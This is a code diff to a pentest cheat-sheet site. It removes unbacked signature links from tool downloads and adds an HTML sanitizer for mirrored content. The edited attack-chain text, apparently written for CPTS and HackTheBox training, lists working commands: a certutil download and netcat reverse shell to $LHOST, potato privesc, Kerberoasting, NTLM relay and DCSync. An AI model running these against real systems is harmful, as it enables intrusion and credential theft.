-> [ysoserial.net_v1.36.zip](/downloads/pentest-workflow/ysoserial.net_v1.36.zip) ([SHA-256](/downloads/pentest-workflow/ysoserial.net_v1.36.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ysoserial.net_v1.36.zip.sha256.asc))
+> [ysoserial.net_v1.36.zip](/downloads/pentest-workflow/ysoserial.net_v1.36.zip) ([SHA-256](/downloads/pentest-workflow/ysoserial.net_v1.36.zip.sha256))
 
 ```bash
 # Java: generate a gadget payload, deliver base64'd into the cookie/param

src/content/sheets/pentest-workflow/worked-chains.md

@@ -64,22 +64,22 @@ The classic CPTS capstone shape: internet-facing web app on a domain-joined host
    nmap -sCV -p- --min-rate 2000 -oA full $IP
    ffuf -u http://$TARGET -H "Host: FUZZ.$TARGET" -w $SECLISTS/Discovery/DNS/subdomains-top1million-5000.txt
    ```
-2. **`[S2]` Web → RCE.** Enumerate the app (ffuf dirs, tech fingerprint, known CVE). Upload a webshell matched to the stack — stage from the toolkit: [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc)) for IIS, [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) for PHP, [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc)) for Tomcat (classic ASP: [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc))).
+2. **`[S2]` Web → RCE.** Enumerate the app (ffuf dirs, tech fingerprint, known CVE). Upload a webshell matched to the stack — stage from the toolkit: [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256)) for IIS, [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256)) for PHP, [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256)) for Tomcat (classic ASP: [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256))).
    ```powershell
    certutil -urlcache -split -f http://$LHOST:8000/nc64.exe C:\Windows\Temp\nc64.exe
    C:\Windows\Temp\nc64.exe $LHOST 443 -e cmd.exe
    ```
-   Toolkit: [nc64.exe](/downloads/pentest-workflow/nc64.exe) ([SHA-256](/downloads/pentest-workflow/nc64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/nc64.exe.sha256.asc))
+   Toolkit: [nc64.exe](/downloads/pentest-workflow/nc64.exe) ([SHA-256](/downloads/pentest-workflow/nc64.exe.sha256))
 3. **`[S9]` Local privesc** (if the shell lands as a service account — often `iis apppool\...` with **SeImpersonatePrivilege**):
    ```powershell
    .\GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc64.exe $LHOST 444 -e cmd.exe"
    ```
-   Toolkit: [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256.asc)) (or `GodPotato-NET35.exe`, `PrintSpoofer64.exe`, `SweetPotato.exe` — pick per OS build/Spooler state; see [Stage 09](/sheets/pentest-workflow/privilege-escalation)).
+   Toolkit: [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256)) (or `GodPotato-NET35.exe`, `PrintSpoofer64.exe`, `SweetPotato.exe` — pick per OS build/Spooler state; see [Stage 09](/sheets/pentest-workflow/privilege-escalation)).
 4. **`[S4]` BloodHound as the foothold user/machine:**
    ```bash
    bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -ns $DCIP -c All --zip
    ```
-   On-host alternative: [SharpHound.zip](/downloads/pentest-workflow/SharpHound.zip) ([SHA-256](/downloads/pentest-workflow/SharpHound.zip.sha256) · [GPG signature](/downloads/pentest-workflow/SharpHound.zip.sha256.asc))
+   On-host alternative: [SharpHound.zip](/downloads/pentest-workflow/SharpHound.zip) ([SHA-256](/downloads/pentest-workflow/SharpHound.zip.sha256))
 5. **`[S5]` Kerberoast** an SPN account visible in the graph:
    ```bash
    GetUserSPNs.py "$DOMAIN/$U:$P" -dc-ip $DCIP -request -outputfile kerb.hash
@@ -92,7 +92,7 @@ The classic CPTS capstone shape: internet-facing web app on a domain-joined host
    ntlmrelayx.py -t http://ca.$DOMAIN/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
    PetitPotam.py -u "$U" -p "$P" -d $DOMAIN $LHOST $DCIP    # coerce DC auth to the relay
    ```
-   Toolkit: [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256) · [GPG signature](/downloads/pentest-workflow/PetitPotam.py.sha256.asc)) · certipy: [Certipy](https://github.com/ly4k/Certipy) · relay: [Impacket ntlmrelayx](https://github.com/fortra/impacket).
+   Toolkit: [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256)) · certipy: [Certipy](https://github.com/ly4k/Certipy) · relay: [Impacket ntlmrelayx](https://github.com/fortra/impacket).
 7. **`[S10]` Use the relayed DC cert → DCSync:** the relay already dropped `DC01$.pfx` — no manual `req` needed (the DomainController template has no enrollee-supplies-subject anyway):
    ```bash
    certipy-ad auth -pfx 'DC01$.pfx' -dc-ip $DCIP       # -> DC01$ NT hash (+TGT)
@@ -117,7 +117,7 @@ No creds needed to start; pure identity attacks. MITRE: T1558.004 (AS-REP Roasti
    kerbrute userenum --dc $DCIP -d $DOMAIN $SECLISTS/Usernames/xato-net-10-million-usernames.txt
    enum4linux-ng -A $IP | tee enum.txt     # or rpcclient -U "" -N → enumdomusers
    ```
-   Toolkit: [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256.asc))
+   Toolkit: [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256))
 2. **`[S5]` AS-REP roast** the list ([Stage 05](/sheets/pentest-workflow/kerberos-attacks)):
    ```bash
    GetNPUsers.py $DOMAIN/ -usersfile users.txt -no-pass -dc-ip $DCIP -outputfile asrep.hash
@@ -129,13 +129,13 @@ No creds needed to start; pure identity attacks. MITRE: T1558.004 (AS-REP Roasti
    targetedKerberoast.py -d $DOMAIN -u "$U" -p "$P" --request-user svc_sql -o targeted.hash
    hashcat -m 13100 targeted.hash $ROCKYOU
    ```
-   Toolkit: [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256) · [GPG signature](/downloads/pentest-workflow/targetedKerberoast.py.sha256.asc)) — it removes the SPN afterwards; verify anyway (`Get-ADUser svc_sql -Properties servicePrincipalName`).
+   Toolkit: [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256)) — it removes the SPN afterwards; verify anyway (`Get-ADUser svc_sql -Properties servicePrincipalName`).
 5. **`[S6]` The cracked svc_sql has GenericAll/WriteDACL on a DA-path group** (or the domain root). Add DCSync rights:
    ```bash
    bloodyAD --host $DCIP -d $DOMAIN -u "$U" -p "$P" add dcsync svc_sql
    # or: dacledit.py -action write -rights DCSync -principal svc_sql -target-dn "DC=corp,DC=local" "$DOMAIN/$U:$P" -dc-ip $DCIP
    ```
-   On-host equivalent: [StandIn_v13_Net35_45.zip](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip) ([SHA-256](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256) · [GPG signature](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256.asc))
+   On-host equivalent: [StandIn_v13_Net35_45.zip](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip) ([SHA-256](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256))
 6. **`[S10]` DCSync and PtH:**
    ```bash
    secretsdump.py "$DOMAIN/svc_sql:$P@$DC" -just-dc-user administrator
@@ -145,7 +145,7 @@ No creds needed to start; pure identity attacks. MITRE: T1558.004 (AS-REP Roasti
 
 > [!warning] Pitfalls
 > - AS-REP hash mode is **18200**, not 13100 — read the `$krb5asrep$` prefix.
-> - GenericWrite ≠ instant roast: you need the SPN write (targetedKerberoast) or shadow credentials (`pywhisker` / [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Whisker.exe.sha256.asc))).
+> - GenericWrite ≠ instant roast: you need the SPN write (targetedKerberoast) or shadow credentials (`pywhisker` / [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256))).
 > - `WriteDACL` on the domain root → DCSync; on a user → targeted roast/shadow creds; on a group → add member. Pick per object type.
 
 ---
@@ -159,7 +159,7 @@ For flat networks where SMB signing is off and LDAP signing/channel binding aren
    sudo responder -I eth0 -dwv
    # Windows-side when already on a host: Inveigh
    ```
-   Toolkit: [Inveigh.ps1](/downloads/pentest-workflow/Inveigh.ps1) ([SHA-256](/downloads/pentest-workflow/Inveigh.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/Inveigh.ps1.sha256.asc)) (`Invoke-Inveigh -ConsoleOutput Y`).
+   Toolkit: [Inveigh.ps1](/downloads/pentest-workflow/Inveigh.ps1) ([SHA-256](/downloads/pentest-workflow/Inveigh.ps1.sha256)) (`Invoke-Inveigh -ConsoleOutput Y`).
 2. **Crack any NetNTLMv2 that drops** (`hashcat -m 5600`) — even one weak user unlocks `[S4]` BloodHound.
 3. **`[S3]` Relay instead of crack** — check signing first:
    ```bash
@@ -177,7 +177,7 @@ For flat networks where SMB signing is off and LDAP signing/channel binding aren
    export KRB5CCNAME=administrator@cifs_victim.$DOMAIN@$DOMAIN.ccache
    psexec.py -k -no-pass victim.$DOMAIN
    ```
-6. **`[S10]` Loot & pivot**: `secretsdump.py -k` the victim, pivot onward with ligolo-ng — [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc)) / [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc)) + [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc)) / [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc)).
+6. **`[S10]` Loot & pivot**: `secretsdump.py -k` the victim, pivot onward with ligolo-ng — [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256)) / [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256)) + [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256)) / [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256)).
 
 > [!opsec] Relay caveats
 > Relaying is loud: LLMNR/NBT-NS broadcasts + auth coercion are textbook Defender for Identity / honeypot bait (T1557.001). Never relay to a DC unless the engagement says so; never disable the Spooler service as a "fix" on a production box. LDAP relay requires LDAP signing off *and* (for LDAPS) channel binding off — check with `nxc ldap $DCIP -u '' -p '' -M ldap-checker` style modules before burning time.
@@ -188,7 +188,7 @@ For flat networks where SMB signing is off and LDAP signing/channel binding aren
 
 The trusts capstone. MITRE: T1134 (SID-History Injection), T1550.003 (PtT). Deep dive: [Domain Trusts and Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest).
 
-1. **Map the trust topology** (on-host: `nltest /domain_trusts`, or PowerView `Get-DomainTrust` — [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerView.ps1.sha256.asc))):
+1. **Map the trust topology** (on-host: `nltest /domain_trusts`, or PowerView `Get-DomainTrust` — [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256))):
    ```bash
    ldeep ldap -u "$U" -p "$P" -d child.$DOMAIN -s ldap://$DCIP trusts
    ```
@@ -207,7 +207,7 @@ The trusts capstone. MITRE: T1134 (SID-History Injection), T1550.003 (PtT). Deep
    # or: secretsdump.py ... (trust accounts end in '$', e.g. TRUSTEDDOM$)
    ticketer.py -nthash <TRUST_NT> -domain forest-a.local -domain-sid S-1-5-21-A -extra-sid S-1-5-21-B-519 administrator
    ```
-   Toolkit: [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc))
+   Toolkit: [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256))
 4. **`[S10]` Consume the ticket** in the trusting forest: `KRB5CCNAME=... secretsdump.py -k admin@dc.forest-b.local -just-dc`.
 
 > [!warning] Gotchas
@@ -244,8 +244,8 @@ SQL Server is a privilege-escalation engine when links and `sysadmin` line up. M
    ```powershell
    .\GodPotato-NET4.exe -cmd "net localgroup administrators $U /add"
    ```
-   Toolkit: [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256.asc)) — fallbacks: [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc)) (needs Spooler running), [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SweetPotato.exe.sha256.asc)), legacy [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/JuicyPotato.exe.sha256.asc)) on pre-2019 builds.
-5. **`[S10]` Loot the host**: dump local creds with [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256) · [GPG signature](/downloads/pentest-workflow/LaZagne.exe.sha256.asc)), DPAPI blobs with [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpDPAPI.exe.sha256.asc)), then hunt domain shares with [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc)) — SQL boxes often hold connection strings with cleartext domain creds, feeding you back to `[S4]`.
+   Toolkit: [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256)) — fallbacks: [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256)) (needs Spooler running), [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256)), legacy [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256)) on pre-2019 builds.
+5. **`[S10]` Loot the host**: dump local creds with [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256)), DPAPI blobs with [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256)), then hunt domain shares with [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256)) — SQL boxes often hold connection strings with cleartext domain creds, feeding you back to `[S4]`.
 
 > [!tip] CPTS exam tip
 > MSSQL on 1433 with weak/linked creds is a favourite CPTS escalation. Always check `sp_linkedservers` and impersonation *before* reaching for kernel exploits — the intended path is usually one `EXEC ... AT LINK` away.
@@ -278,7 +278,7 @@ Note: HTB-Forest.
 1. `[S3]` writable SMB share → drop a malicious `.library-ms` (CVE-2025-24071) so opening the share coerces NTLM auth → capture with [Responder](https://github.com/lgandx/Responder).
 2. `[S8]` crack **j.fleischman** (`hashcat -m 5600`).
 3. `[S4]` BloodHound: **GenericWrite** onto service accounts.
-4. `[S6]` Shadow Credentials (`bloodyAD add shadowCredentials` / [pywhisker](https://github.com/ShutdownRepo/pywhisker)) to take **winrm_svc**, then again onto **ca_svc**. On-host equivalent: [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Whisker.exe.sha256.asc)).
+4. `[S6]` Shadow Credentials (`bloodyAD add shadowCredentials` / [pywhisker](https://github.com/ShutdownRepo/pywhisker)) to take **winrm_svc**, then again onto **ca_svc**. On-host equivalent: [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256)).
 5. `[S7]` ca_svc can enroll a vulnerable template → ADCS ESC (`certipy-ad find -vulnerable` → `req` → `auth`) → auth as DA → `[S10]` own the domain.
 Notes: HTB-Fluffy · Fluffy Attack Plan.
 

src/lib/download-signatures.ts

new file mode 100644
@@ -0,0 +1,23 @@
+import { existsSync } from 'node:fs';
+import { join } from 'node:path';
+
+/* Which detached signatures this build will actually serve.
+ *
+ * The importer (scripts/sync-pentest-workflow.py) writes a `signatureHref`
+ * for every download, but the signatures themselves are made afterwards, by
+ * hand, with the publisher's key. Linking them unconditionally told readers
+ * every file was signed when none was. The page asks the filesystem instead:
+ * Astro copies public/ into the release verbatim, so a signature that exists
+ * here is one the site serves.
+ *
+ * `complete` is the only state the page may call "signed": the manifest and
+ * every catalogued file. scripts/verify-downloads.mjs refuses to deploy the
+ * in-between state and checks the signatures themselves.
+ */
+const DIR = join(process.cwd(), 'public', 'downloads', 'pentest-workflow');
+
+export function publishedSignatures(downloads: { name: string }[]) {
+  const files = new Set(downloads.filter((d) => existsSync(join(DIR, `${d.name}.sha256.asc`))).map((d) => d.name));
+  const manifest = existsSync(join(DIR, 'SHA256SUMS.asc'));
+  return { files, manifest, complete: manifest && downloads.length > 0 && files.size === downloads.length };
+}

src/lib/rehype-sanitize-mirror.mjs

new file mode 100644
@@ -0,0 +1,186 @@
+// Sanitises the HTML that third-party Markdown brings into the site.
+//
+// Three collections (payloads, internal, hacktricks) are mirrors of other
+// people's repositories, re-imported on a schedule with no review in between.
+// Markdown may carry raw HTML, Astro's renderer passes it through untouched
+// (`allowDangerousHtml`), and so a `<script>` committed upstream would be
+// served from this origin, where the decrypted report index lives. This pass
+// is what stands in the way; scripts/csp-hashes.mjs is the second lock behind
+// it and refuses to add a hash for any script this pass somehow let through.
+//
+// How it tells the two kinds of HTML apart
+// ----------------------------------------
+// By the time a rehype plugin runs, Markdown itself has already become real
+// element nodes (paragraphs, tables, Shiki's highlighted code), while raw HTML
+// is still a string in a `raw` node. Those two have very different trust: the
+// first is structure this build produced, the second is whatever upstream
+// typed. Parsing the raw strings (the only reliable way to sanitise HTML, as
+// a tag may open in one node and close in another) erases that difference, so
+// before parsing every existing element is stamped with a random, per-process
+// token. After parsing, an element carrying the token is the build's own and
+// keeps its attributes (Shiki's inline colours, heading ids, task-list
+// checkboxes); anything without it came from upstream and is held to the
+// allowlist below. Upstream cannot forge the stamp without guessing the token.
+//
+// What happens to upstream HTML
+// -----------------------------
+// * Elements on ALLOWED stay, with only their listed attributes.
+// * Elements on DROPPED go, contents and all (script, style, iframe, form
+//   controls, svg, ...).
+// * Anything else is unwrapped: the tag goes, its text stays readable.
+// * Comments go.
+// * `href`/`src` keep only http(s), mailto and relative URLs — on the build's
+//   own elements too, since `[x](javascript:...)` is plain Markdown.
+//
+// Fenced and inline code is untouched: it never was HTML, only text that looks
+// like it, and Markdown has already escaped it.
+//
+// Order matters: this is the LAST pass in astro.config.mjs, so the passes
+// before it see exactly the tree they always have.
+import { randomBytes } from 'node:crypto';
+import path from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { raw } from 'hast-util-raw';
+
+// Fail closed: every collection is sanitised unless it is first-party, and
+// first-party means exactly one thing: the file sits in the `sheets`
+// collection directly under this project's own content root.
+//
+// The test is anchored to that root on purpose. Matching "/src/content/sheets/"
+// anywhere in the path would let a mirror opt itself out: an upstream folder
+// named `src/content/sheets` is imported as
+// `src/content/payloads/<topic>/src/content/sheets/page.md`, which contains
+// the same substring. Two spellings of the root are accepted (the working
+// directory the build runs from, and this file's own location) so the check
+// holds whichever way the config was loaded; a path under neither is treated
+// as third-party.
+const FIRST_PARTY_COLLECTIONS = new Set(['sheets']);
+const posix = (p) => p.replace(/\\/g, '/');
+const CONTENT_ROOTS = [
+  posix(path.join(process.cwd(), 'src', 'content')),
+  posix(fileURLToPath(new URL('../content', import.meta.url))),
+];
+
+/** True only for a file in a first-party collection directly under a content root. */
+export function isFirstParty(source, roots = CONTENT_ROOTS) {
+  if (!source) return false;
+  const file = path.posix.normalize(posix(source));
+  return roots.some((root) => {
+    const rel = path.posix.relative(path.posix.normalize(posix(root)), file);
+    if (!rel || rel.startsWith('..') || path.posix.isAbsolute(rel)) return false;
+    const [collection, ...rest] = rel.split('/');
+    return rest.length > 0 && FIRST_PARTY_COLLECTIONS.has(collection);
+  });
+}
+
+const STAMP = 'dataDmnBuilt';
+const TOKEN = randomBytes(18).toString('hex');
+
+const GLOBAL_ATTRS = ['title', 'dir', 'lang', 'id'];
+const ALIGN = ['align'];
+const CELL = ['align', 'vAlign', 'colSpan', 'rowSpan'];
+
+/** tag -> extra attributes kept (besides GLOBAL_ATTRS). */
+const ALLOWED = new Map(Object.entries({
+  a: ['href'], abbr: [], b: [], bdi: [], bdo: [], blockquote: [], br: [], caption: ALIGN, center: [],
+  cite: [], code: [], col: ['span'], colgroup: ['span'], dd: [], del: [], details: ['open'], dfn: [],
+  div: ALIGN, dl: [], dt: [], em: [], figcaption: [], figure: [], h1: ALIGN, h2: ALIGN, h3: ALIGN,
+  h4: ALIGN, h5: ALIGN, h6: ALIGN, hr: [], i: [], img: ['src', 'alt', 'width', 'height', 'align', 'loading'],
+  ins: [], kbd: [], li: ['value'], mark: [], ol: ['start', 'type', 'reversed'], p: ALIGN, pre: [], q: [],
+  rp: [], rt: [], ruby: [], s: [], samp: [], small: [], span: [], strike: [], strong: [], sub: [],
+  summary: [], sup: [], table: ALIGN, tbody: [], td: CELL, tfoot: [], th: CELL, thead: [], time: ['dateTime'],
+  tr: ALIGN, tt: [], u: [], ul: [], var: [], wbr: [],
+}));
+
+/** Removed together with everything inside them. */
+const DROPPED = new Set([
+  'script', 'style', 'template', 'iframe', 'frame', 'frameset', 'noframes', 'object', 'embed', 'applet',
+  'param', 'noscript', 'noembed', 'plaintext', 'xmp', 'listing', 'svg', 'math', 'audio', 'video', 'track',
+  'source', 'canvas', 'map', 'area', 'link', 'meta', 'base', 'title', 'head', 'dialog', 'portal', 'slot',
+  'input', 'button', 'select', 'textarea', 'option', 'optgroup', 'datalist', 'output', 'keygen',
+]);
+
+const SAFE_LINK = new Set(['http', 'https', 'mailto']);
+const SAFE_MEDIA = new Set(['http', 'https']);
+// No spaces, quotes or markup; HTML allows an id to start with a digit.
+const SAFE_ID = /^\w[\w:.-]{0,127}$/;
+
+/** True for a relative URL or one whose scheme is on the list. */
+export function isSafeUrl(value, schemes) {
+  if (typeof value !== 'string') return false;
+  // Browsers drop tabs and newlines inside a URL and leading control
+  // characters before reading the scheme, so `java\nscript:` is a scheme too.
+  // eslint-disable-next-line no-control-regex
+  const url = value.replace(/[\t\n\r]/g, '').replace(/^[\u0000- ]+/, '');
+  const colon = url.indexOf(':');
+  if (colon === -1) return true;
+  const stop = url.search(/[/?#]/);
+  if (stop !== -1 && stop < colon) return true;
+  return schemes.has(url.slice(0, colon).toLowerCase());
+}
+
+function stamp(node) {
+  if (node.type === 'element') node.properties = { ...node.properties, [STAMP]: TOKEN };
+  if (node.children) for (const child of node.children) stamp(child);
+}
+
+function checkUrls(tag, properties) {
+  if ('href' in properties && !(tag === 'a' && isSafeUrl(properties.href, SAFE_LINK))) delete properties.href;
+  if ('src' in properties && !isSafeUrl(properties.src, SAFE_MEDIA)) delete properties.src;
+  for (const name of ['srcSet', 'srcDoc', 'formAction', 'action', 'xLinkHref', 'ping', 'background', 'poster']) {
+    delete properties[name];
+  }
+}
+
+function upstreamProperties(tag, properties) {
+  const kept = {};
+  const allow = ALLOWED.get(tag);
+  for (const name of [...GLOBAL_ATTRS, ...allow]) {
+    const value = properties[name];
+    if (value === undefined || value === null || value === false) continue;
+    kept[name] = value;
+  }
+  // `<a name="x">` is the old spelling of an anchor target; keep it as an id
+  // so in-page links still land, without the named-access side of `name`.
+  if (tag === 'a' && kept.id === undefined && typeof properties.name === 'string') kept.id = properties.name;
+  if (kept.id !== undefined && !SAFE_ID.test(String(kept.id))) delete kept.id;
+  checkUrls(tag, kept);
+  return kept;
+}
+
+/** Returns the nodes that replace `node`: itself, its children, or nothing. */
+function clean(node) {
+  if (node.type === 'text') return [node];
+  if (node.type !== 'element') return []; // comments, doctypes, stray raw
+  const properties = { ...node.properties };
+  const built = properties[STAMP] === TOKEN;
+  delete properties[STAMP];
+  const tag = node.tagName;
+
+  if (built) {
+    checkUrls(tag, properties);
+    return [{ ...node, properties, children: node.children.flatMap(clean) }];
+  }
+  if (DROPPED.has(tag)) return [];
+  const children = node.children.flatMap(clean);
+  if (!ALLOWED.has(tag)) return children;
+  const kept = upstreamProperties(tag, properties);
+  if (tag === 'img' && kept.src === undefined) return []; // nothing left to show
+  return [{ type: 'element', tagName: tag, properties: kept, children }];
+}
+
+/** Sanitise one already-rendered Markdown tree. Exported for the tests. */
+export function sanitizeTree(tree, file) {
+  stamp(tree);
+  const parsed = raw(tree, { file });
+  return { ...parsed, children: parsed.children.flatMap(clean) };
+}
+
+/** `contentRoots` is for the tests; the build uses this project's own. */
+export function rehypeSanitizeMirror({ contentRoots = CONTENT_ROOTS } = {}) {
+  return (tree, file) => {
+    const source = String(file?.history?.[0] ?? file?.path ?? '');
+    if (isFirstParty(source, contentRoots)) return undefined;
+    return sanitizeTree(tree, file);
+  };
+}

src/pages/[category]/index.astro

@@ -10,6 +10,7 @@ import type { CategoryDef } from '../../lib/taxonomy';
 import { sheetsByCategory, sheetHref, isReportGuide, sheetFacets, tagSlug, type Sheet } from '../../lib/sheets';
 import { url } from '../../lib/url';
 import pentestDownloads from '../../data/pentest-workflow-downloads.json';
+import { publishedSignatures } from '../../lib/download-signatures';
 
 export async function getStaticPaths() {
   const groups = await sheetsByCategory();
@@ -118,6 +119,11 @@ const bannerStats = [
 ];
 
 const downloads = cat.slug === 'pentest-workflow' ? pentestDownloads : [];
+/* Signing is a manual step that happens after the import, so the page states
+   only what this build can actually serve: a signature is linked when its
+   file is in public/downloads, and the library is called signed only when
+   the manifest and every file have one. */
+const signatures = publishedSignatures(downloads);
 const downloadBytes = downloads.reduce((sum, item) => sum + item.size, 0);
 const downloadSize = `${(downloadBytes / 1024 / 1024).toFixed(1)} MiB`;
 ---
@@ -213,18 +219,28 @@ const downloadSize = `${(downloadBytes / 1024 / 1024).toFixed(1)} MiB`;
